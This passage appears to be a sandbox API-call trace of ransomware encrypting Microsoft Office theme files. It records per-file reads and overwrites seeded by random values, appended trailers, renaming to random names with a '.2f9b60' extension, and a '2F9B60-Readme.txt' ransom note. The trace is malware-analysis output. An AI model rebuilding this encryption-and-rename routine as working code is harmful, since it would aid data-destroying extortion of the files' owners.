returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\c5ef186bd9" [0095.200] wcscat (in: _Dest=0x1b7a64c0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\c5ef186bd9.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\c5ef186bd9.2f9b60" [0095.200] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\c5ef186bd9.2f9b60", NtPathName=0x2784f650, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\c5ef186bd9.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0095.200] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc6) returned 0x118540 [0107.590] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118540) returned 1 [0107.590] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b77af50) returned 1 [0107.590] NtQueryInformationFile (in: FileHandle=0xe04, IoStatusBlock=0x2784f6b8, FileInformation=0x2784f6c8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2784f6b8, FileInformation=0x2784f6c8) returned 0x0 [0107.590] NtSetInformationFile (FileHandle=0xe04, IoStatusBlock=0x2784f6b8, FileInformation=0x2784f6c8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0107.640] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a64c0) returned 1 [0107.640] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9c430) returned 1 [0107.640] FlushFileBuffers (hFile=0xe04) returned 1 [0107.645] CloseHandle (hObject=0xe04) returned 1 [0107.665] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x108080 [0107.665] wcscpy (in: _Dest=0x108080, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" [0107.665] wcscat (in: _Dest=0x108080, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt" [0107.665] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\2f9b60-readme.txt")) returned 0x20 [0107.665] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x108080) returned 1 [0107.665] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a6410) returned 1 Thread: id = 582 os_tid = 0xf28 [0094.835] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Austin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\austin.xml")) returned 0x20 [0094.836] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Austin.xml", dwFileAttributes=0x20) returned 1 [0094.836] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Austin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\austin.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe08 [0094.836] GetFileSizeEx (in: hFile=0xe08, lpFileSize=0x2660fca0 | out: lpFileSize=0x2660fca0*=961) returned 1 [0094.836] SetFilePointerEx (in: hFile=0xe08, liDistanceToMove=0x3bd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.836] ReadFile (in: hFile=0xe08, lpBuffer=0x2660fc20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2660fc68, lpOverlapped=0x0 | out: lpBuffer=0x2660fc20*, lpNumberOfBytesRead=0x2660fc68*=0x4, lpOverlapped=0x0) returned 1 [0094.955] SetFilePointerEx (in: hFile=0xe08, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.955] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fc40 [0094.955] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd60 [0094.955] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd30 [0094.955] NtQuerySystemTime (in: CurrentTime=0x2660fb60 | out: CurrentTime=0x2660fb60*=132462177007834000) returned 0x0 [0094.955] RtlRandomEx (in: Seed=0x2660fb50 | out: Seed=0x2660fb50) returned 0x5cbb0523 [0094.955] RtlRandomEx (in: Seed=0x2660fb50 | out: Seed=0x2660fb50) returned 0x31e848cf [0094.955] RtlRandomEx (in: Seed=0x2660fb50 | out: Seed=0x2660fb50) returned 0x2dc908c2 [0094.955] RtlRandomEx (in: Seed=0x2660fb50 | out: Seed=0x2660fb50) returned 0x61be7d7f [0094.955] RtlRandomEx (in: Seed=0x2660fb50 | out: Seed=0x2660fb50) returned 0x1aa91793 [0094.955] RtlRandomEx (in: Seed=0x2660fb50 | out: Seed=0x2660fb50) returned 0x35f1a2be [0094.955] RtlRandomEx (in: Seed=0x2660fb50 | out: Seed=0x2660fb50) returned 0x58a12aed [0094.955] RtlRandomEx (in: Seed=0x2660fb50 | out: Seed=0x2660fb50) returned 0x7a584b84 [0094.955] RtlRandomEx (in: Seed=0x2660fb50 | out: Seed=0x2660fb50) returned 0x7fd9132a [0094.955] RtlRandomEx (in: Seed=0x2660fb50 | out: Seed=0x2660fb50) returned 0x3e01da4b [0094.955] RtlRandomEx (in: Seed=0x2660fb50 | out: Seed=0x2660fb50) returned 0x47dd6219 [0094.955] RtlRandomEx (in: Seed=0x2660fb50 | out: Seed=0x2660fb50) returned 0x576cc9d9 [0094.955] RtlRandomEx (in: Seed=0x2660fb50 | out: Seed=0x2660fb50) returned 0x18a29882 [0094.955] RtlRandomEx (in: Seed=0x2660fb50 | out: Seed=0x2660fb50) returned 0xe894739 [0094.955] RtlRandomEx (in: Seed=0x2660fb50 | out: Seed=0x2660fb50) returned 0x2a6599cf [0094.955] RtlRandomEx (in: Seed=0x2660fb50 | out: Seed=0x2660fb50) returned 0x6a096a74 [0094.956] RtlRandomEx (in: Seed=0x2660fb50 | out: Seed=0x2660fb50) returned 0x3516d9af [0094.956] RtlRandomEx (in: Seed=0x2660fb50 | out: Seed=0x2660fb50) returned 0x39eddd02 [0094.956] RtlRandomEx (in: Seed=0x2660fb50 | out: Seed=0x2660fb50) returned 0x1946468a [0094.956] RtlRandomEx (in: Seed=0x2660fb50 | out: Seed=0x2660fb50) returned 0x25d2418 [0094.956] RtlRandomEx (in: Seed=0x2660fb50 | out: Seed=0x2660fb50) returned 0x561abe24 [0094.956] RtlRandomEx (in: Seed=0x2660fb50 | out: Seed=0x2660fb50) returned 0x28138909 [0094.956] RtlRandomEx (in: Seed=0x2660fb50 | out: Seed=0x2660fb50) returned 0x7f6fbe92 [0094.956] RtlRandomEx (in: Seed=0x2660fb50 | out: Seed=0x2660fb50) returned 0x2cebbbe2 [0094.956] RtlRandomEx (in: Seed=0x2660fb50 | out: Seed=0x2660fb50) returned 0x209b2cc8 [0094.956] RtlRandomEx (in: Seed=0x2660fb50 | out: Seed=0x2660fb50) returned 0x1e155e71 [0094.956] RtlRandomEx (in: Seed=0x2660fb50 | out: Seed=0x2660fb50) returned 0x145b88b1 [0094.956] RtlRandomEx (in: Seed=0x2660fb50 | out: Seed=0x2660fb50) returned 0x7b5bcfef [0094.956] RtlRandomEx (in: Seed=0x2660fb50 | out: Seed=0x2660fb50) returned 0x2c04e34c [0094.956] RtlRandomEx (in: Seed=0x2660fb50 | out: Seed=0x2660fb50) returned 0x1caf605d [0094.956] RtlRandomEx (in: Seed=0x2660fb50 | out: Seed=0x2660fb50) returned 0x549ce1b9 [0094.956] RtlRandomEx (in: Seed=0x2660fb50 | out: Seed=0x2660fb50) returned 0xa24996e [0094.966] ReadFile (in: hFile=0xe08, lpBuffer=0x201fd170, nNumberOfBytesToRead=0x3c1, lpNumberOfBytesRead=0x2660fb50, lpOverlapped=0x0 | out: lpBuffer=0x201fd170*, lpNumberOfBytesRead=0x2660fb50*=0x3c1, lpOverlapped=0x0) returned 1 [0094.966] SetFilePointerEx (in: hFile=0xe08, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.966] WriteFile (in: hFile=0xe08, lpBuffer=0x20200d80*, nNumberOfBytesToWrite=0x3c1, lpNumberOfBytesWritten=0x2660fb54, lpOverlapped=0x0 | out: lpBuffer=0x20200d80*, lpNumberOfBytesWritten=0x2660fb54*=0x3c1, lpOverlapped=0x0) returned 1 [0095.179] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fee0 [0095.180] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd90 [0095.180] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fd90) returned 1 [0095.180] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20200d80) returned 1 [0095.180] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201fd170) returned 1 [0095.180] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8663c0) returned 1 [0095.180] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97170) returned 1 [0095.180] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1b85fd90 [0095.180] SetFilePointerEx (in: hFile=0xe08, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0095.180] WriteFile (in: hFile=0xe08, lpBuffer=0x1695e0*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x2660fc70, lpOverlapped=0x0 | out: lpBuffer=0x1695e0*, lpNumberOfBytesWritten=0x2660fc70*=0x106, lpOverlapped=0x0) returned 1 [0095.195] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97120 [0095.196] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866440 [0095.196] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f580 [0095.196] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f580) returned 1 [0095.196] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d000 [0095.196] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f580 [0095.196] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f520 [0095.196] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f520) returned 1 [0095.196] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866440) returned 1 [0095.196] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97120) returned 1 [0095.196] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1cd9f170 [0095.196] sprintf (in: _Dest=0x1cd9f170, _Format="%c%c" | out: _Dest="9f") returned 2 [0095.196] sprintf (in: _Dest=0x1cd9f172, _Format="%c%c" | out: _Dest="96") returned 2 [0095.196] sprintf (in: _Dest=0x1cd9f174, _Format="%c%c" | out: _Dest="a1") returned 2 [0095.196] sprintf (in: _Dest=0x1cd9f176, _Format="%c%c" | out: _Dest="31") returned 2 [0095.196] sprintf (in: _Dest=0x1cd9f178, _Format="%c%c" | out: _Dest="70") returned 2 [0095.196] sprintf (in: _Dest=0x1cd9f17a, _Format="%c%c" | out: _Dest="e4") returned 2 [0095.196] sprintf (in: _Dest=0x1cd9f17c, _Format="%c%c" | out: _Dest="0f") returned 2 [0095.197] sprintf (in: _Dest=0x1cd9f17e, _Format="%c%c" | out: _Dest="57") returned 2 [0095.197] sprintf (in: _Dest=0x1cd9f180, _Format="%c%c" | out: _Dest="d6") returned 2 [0095.197] sprintf (in: _Dest=0x1cd9f182, _Format="%c%c" | out: _Dest="18") returned 2 [0095.197] sprintf (in: _Dest=0x1cd9f184, _Format="%c%c" | out: _Dest="3c") returned 2 [0095.197] sprintf (in: _Dest=0x1cd9f186, _Format="%c%c" | out: _Dest="43") returned 2 [0095.197] sprintf (in: _Dest=0x1cd9f188, _Format="%c%c" | out: _Dest="36") returned 2 [0095.197] sprintf (in: _Dest=0x1cd9f18a, _Format="%c%c" | out: _Dest="79") returned 2 [0095.197] sprintf (in: _Dest=0x1cd9f18c, _Format="%c%c" | out: _Dest="bb") returned 2 [0095.197] sprintf (in: _Dest=0x1cd9f18e, _Format="%c%c" | out: _Dest="95") returned 2 [0095.197] sprintf (in: _Dest=0x1cd9f190, _Format="%c%c" | out: _Dest="8c") returned 2 [0095.197] sprintf (in: _Dest=0x1cd9f192, _Format="%c%c" | out: _Dest="65") returned 2 [0095.197] sprintf (in: _Dest=0x1cd9f194, _Format="%c%c" | out: _Dest="4f") returned 2 [0095.197] sprintf (in: _Dest=0x1cd9f196, _Format="%c%c" | out: _Dest="81") returned 2 [0095.197] RtlInitAnsiString (in: DestinationString=0x2660fce8, SourceString="9f96a13170e40f57d6183c433679bb958c654f81" | out: DestinationString="9f96a13170e40f57d6183c433679bb958c654f81") [0095.197] RtlAnsiStringToUnicodeString (in: DestinationString=0x2660fcb8, SourceString="9f96a13170e40f57d6183c433679bb958c654f81", AllocateDestinationString=1 | out: DestinationString="9f96a13170e40f57d6183c433679bb958c654f81") returned 0x0 [0095.197] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd9c490 [0095.197] wcscat (in: _Dest=0x1b7a5bd0, _Source="9f96a13170" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\9f96a13170") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\9f96a13170" [0095.197] wcscat (in: _Dest=0x1b7a5bd0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\9f96a13170.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\9f96a13170.2f9b60" [0095.198] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\9f96a13170.2f9b60", NtPathName=0x2660fc90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\9f96a13170.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0095.198] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc6) returned 0x1182d0 [0120.575] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1182d0) returned 1 [0120.575] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b77ad20) returned 1 [0120.575] NtQueryInformationFile (in: FileHandle=0xe08, IoStatusBlock=0x2660fcf8, FileInformation=0x2660fd08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2660fcf8, FileInformation=0x2660fd08) returned 0x0 [0120.576] NtSetInformationFile (FileHandle=0xe08, IoStatusBlock=0x2660fcf8, FileInformation=0x2660fd08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0122.650] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a5bd0) returned 1 [0122.650] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9c490) returned 1 [0122.650] FlushFileBuffers (hFile=0xe08) returned 1 [0122.652] CloseHandle (hObject=0xe08) returned 1 [0122.846] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x107900 [0122.846] wcscpy (in: _Dest=0x107900, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" [0122.846] wcscat (in: _Dest=0x107900, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt" [0122.846] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\2f9b60-readme.txt")) returned 0x20 [0122.846] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107900) returned 1 [0122.847] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a57b0) returned 1 Thread: id = 583 os_tid = 0xf30 [0094.838] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Black Tie.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\black tie.xml")) returned 0x20 [0094.839] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Black Tie.xml", dwFileAttributes=0x20) returned 1 [0094.839] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Black Tie.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\black tie.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe0c [0094.839] GetFileSizeEx (in: hFile=0xe0c, lpFileSize=0x27defbc0 | out: lpFileSize=0x27defbc0*=927) returned 1 [0094.839] SetFilePointerEx (in: hFile=0xe0c, liDistanceToMove=0x39b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.839] ReadFile (in: hFile=0xe0c, lpBuffer=0x27defb40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x27defb88, lpOverlapped=0x0 | out: lpBuffer=0x27defb40*, lpNumberOfBytesRead=0x27defb88*=0x4, lpOverlapped=0x0) returned 1 [0094.986] SetFilePointerEx (in: hFile=0xe0c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.986] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f940 [0094.986] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f9d0 [0094.986] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f970 [0094.986] NtQuerySystemTime (in: CurrentTime=0x27defa80 | out: CurrentTime=0x27defa80*=132462177008146000) returned 0x0 [0094.986] RtlRandomEx (in: Seed=0x27defa70 | out: Seed=0x27defa70) returned 0x2b5062a1 [0094.986] RtlRandomEx (in: Seed=0x27defa70 | out: Seed=0x27defa70) returned 0x34321927 [0094.986] RtlRandomEx (in: Seed=0x27defa70 | out: Seed=0x27defa70) returned 0x2ee0c5b3 [0094.986] RtlRandomEx (in: Seed=0x27defa70 | out: Seed=0x27defa70) returned 0x3acab04f [0094.986] RtlRandomEx (in: Seed=0x27defa70 | out: Seed=0x27defa70) returned 0x2896ae63 [0094.986] RtlRandomEx (in: Seed=0x27defa70 | out: Seed=0x27defa70) returned 0xb56838d [0094.986] RtlRandomEx (in: Seed=0x27defa70 | out: Seed=0x27defa70) returned 0x5cb8c333 [0094.986] RtlRandomEx (in: Seed=0x27defa70 | out: Seed=0x27defa70) returned 0x1054de71 [0094.986] RtlRandomEx (in: Seed=0x27defa70 | out: Seed=0x27defa70) returned 0x7f691e89 [0094.986] RtlRandomEx (in: Seed=0x27defa70 | out: Seed=0x27defa70) returned 0x26840618 [0094.986] RtlRandomEx (in: Seed=0x27defa70 | out: Seed=0x27defa70) returned 0x38ebf011 [0094.987] RtlRandomEx (in: Seed=0x27defa70 | out: Seed=0x27defa70) returned 0x4eca38a6 [0094.987] RtlRandomEx (in: Seed=0x27defa70 | out: Seed=0x27defa70) returned 0x102e9fcf [0094.987] RtlRandomEx (in: Seed=0x27defa70 | out: Seed=0x27defa70) returned 0x4af4bd4d [0094.987] RtlRandomEx (in: Seed=0x27defa70 | out: Seed=0x27defa70) returned 0x33a857f7 [0094.987] RtlRandomEx (in: Seed=0x27defa70 | out: Seed=0x27defa70) returned 0x77fd68e2 [0094.987] RtlRandomEx (in: Seed=0x27defa70 | out: Seed=0x27defa70) returned 0x54902e4a [0094.987] RtlRandomEx (in: Seed=0x27defa70 | out: Seed=0x27defa70) returned 0x2b698b29 [0094.987] RtlRandomEx (in: Seed=0x27defa70 | out: Seed=0x27defa70) returned 0x796a30a8 [0094.987] RtlRandomEx (in: Seed=0x27defa70 | out: Seed=0x27defa70) returned 0x6247ed7b [0094.987] RtlRandomEx (in: Seed=0x27defa70 | out: Seed=0x27defa70) returned 0x40b8cc8e [0094.987] RtlRandomEx (in: Seed=0x27defa70 | out: Seed=0x27defa70) returned 0x173c3602 [0094.987] RtlRandomEx (in: Seed=0x27defa70 | out: Seed=0x27defa70) returned 0x1266c307 [0094.987] RtlRandomEx (in: Seed=0x27defa70 | out: Seed=0x27defa70) returned 0x7034b942 [0094.987] RtlRandomEx (in: Seed=0x27defa70 | out: Seed=0x27defa70) returned 0x73c38654 [0094.987] RtlRandomEx (in: Seed=0x27defa70 | out: Seed=0x27defa70) returned 0x410aaaa2 [0094.987] RtlRandomEx (in: Seed=0x27defa70 | out: Seed=0x27defa70) returned 0x63688da6 [0094.987] RtlRandomEx (in: Seed=0x27defa70 | out: Seed=0x27defa70) returned 0x2a60a0a [0094.987] RtlRandomEx (in: Seed=0x27defa70 | out: Seed=0x27defa70) returned 0x12a4d1a4 [0094.987] RtlRandomEx (in: Seed=0x27defa70 | out: Seed=0x27defa70) returned 0x7b024620 [0094.987] RtlRandomEx (in: Seed=0x27defa70 | out: Seed=0x27defa70) returned 0x65be2844 [0094.987] RtlRandomEx (in: Seed=0x27defa70 | out: Seed=0x27defa70) returned 0x147d3f0e [0094.996] ReadFile (in: hFile=0xe0c, lpBuffer=0x201e6910, nNumberOfBytesToRead=0x39f, lpNumberOfBytesRead=0x27defa70, lpOverlapped=0x0 | out: lpBuffer=0x201e6910*, lpNumberOfBytesRead=0x27defa70*=0x39f, lpOverlapped=0x0) returned 1 [0094.997] SetFilePointerEx (in: hFile=0xe0c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.997] WriteFile (in: hFile=0xe0c, lpBuffer=0x201ea520*, nNumberOfBytesToWrite=0x39f, lpNumberOfBytesWritten=0x27defa74, lpOverlapped=0x0 | out: lpBuffer=0x201ea520*, lpNumberOfBytesWritten=0x27defa74*=0x39f, lpOverlapped=0x0) returned 1 [0095.182] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f670 [0095.182] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f700 [0095.182] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f700) returned 1 [0095.182] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201ea520) returned 1 [0095.183] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201e6910) returned 1 [0095.183] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866440) returned 1 [0095.183] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97120) returned 1 [0095.183] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b85f700 [0095.183] SetFilePointerEx (in: hFile=0xe0c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0095.183] WriteFile (in: hFile=0xe0c, lpBuffer=0x166ce0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x27defb90, lpOverlapped=0x0 | out: lpBuffer=0x166ce0*, lpNumberOfBytesWritten=0x27defb90*=0x10c, lpOverlapped=0x0) returned 1 [0095.201] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97120 [0095.201] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866440 [0095.201] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fc10 [0095.201] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fc10) returned 1 [0095.202] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b85fc10 [0095.202] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f910 [0095.202] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb50 [0095.202] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fb50) returned 1 [0095.202] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866440) returned 1 [0095.202] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97120) returned 1 [0095.202] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x1cd9f170 [0095.202] sprintf (in: _Dest=0x1cd9f170, _Format="%c%c" | out: _Dest="05") returned 2 [0095.202] sprintf (in: _Dest=0x1cd9f172, _Format="%c%c" | out: _Dest="e6") returned 2 [0095.202] sprintf (in: _Dest=0x1cd9f174, _Format="%c%c" | out: _Dest="ea") returned 2 [0095.202] sprintf (in: _Dest=0x1cd9f176, _Format="%c%c" | out: _Dest="9b") returned 2 [0095.202] sprintf (in: _Dest=0x1cd9f178, _Format="%c%c" | out: _Dest="aa") returned 2 [0095.202] sprintf (in: _Dest=0x1cd9f17a, _Format="%c%c" | out: _Dest="8c") returned 2 [0095.202] sprintf (in: _Dest=0x1cd9f17c, _Format="%c%c" | out: _Dest="dc") returned 2 [0095.202] sprintf (in: _Dest=0x1cd9f17e, _Format="%c%c" | out: _Dest="25") returned 2 [0095.202] sprintf (in: _Dest=0x1cd9f180, _Format="%c%c" | out: _Dest="13") returned 2 [0095.202] sprintf (in: _Dest=0x1cd9f182, _Format="%c%c" | out: _Dest="05") returned 2 [0095.202] sprintf (in: _Dest=0x1cd9f184, _Format="%c%c" | out: _Dest="76") returned 2 [0095.203] sprintf (in: _Dest=0x1cd9f186, _Format="%c%c" | out: _Dest="bb") returned 2 [0095.203] sprintf (in: _Dest=0x1cd9f188, _Format="%c%c" | out: _Dest="b8") returned 2 [0095.203] sprintf (in: _Dest=0x1cd9f18a, _Format="%c%c" | out: _Dest="24") returned 2 [0095.203] sprintf (in: _Dest=0x1cd9f18c, _Format="%c%c" | out: _Dest="1c") returned 2 [0095.203] sprintf (in: _Dest=0x1cd9f18e, _Format="%c%c" | out: _Dest="3f") returned 2 [0095.203] sprintf (in: _Dest=0x1cd9f190, _Format="%c%c" | out: _Dest="41") returned 2 [0095.203] sprintf (in: _Dest=0x1cd9f192, _Format="%c%c" | out: _Dest="a2") returned 2 [0095.203] sprintf (in: _Dest=0x1cd9f194, _Format="%c%c" | out: _Dest="43") returned 2 [0095.203] sprintf (in: _Dest=0x1cd9f196, _Format="%c%c" | out: _Dest="05") returned 2 [0095.203] sprintf (in: _Dest=0x1cd9f198, _Format="%c%c" | out: _Dest="e3") returned 2 [0095.203] sprintf (in: _Dest=0x1cd9f19a, _Format="%c%c" | out: _Dest="f3") returned 2 [0095.203] sprintf (in: _Dest=0x1cd9f19c, _Format="%c%c" | out: _Dest="22") returned 2 [0095.203] sprintf (in: _Dest=0x1cd9f19e, _Format="%c%c" | out: _Dest="7d") returned 2 [0095.203] sprintf (in: _Dest=0x1cd9f1a0, _Format="%c%c" | out: _Dest="4d") returned 2 [0095.203] sprintf (in: _Dest=0x1cd9f1a2, _Format="%c%c" | out: _Dest="7c") returned 2 [0095.203] RtlInitAnsiString (in: DestinationString=0x27defc08, SourceString="05e6ea9baa8cdc25130576bbb8241c3f41a24305e3f3227d4d7c" | out: DestinationString="05e6ea9baa8cdc25130576bbb8241c3f41a24305e3f3227d4d7c") [0095.203] RtlAnsiStringToUnicodeString (in: 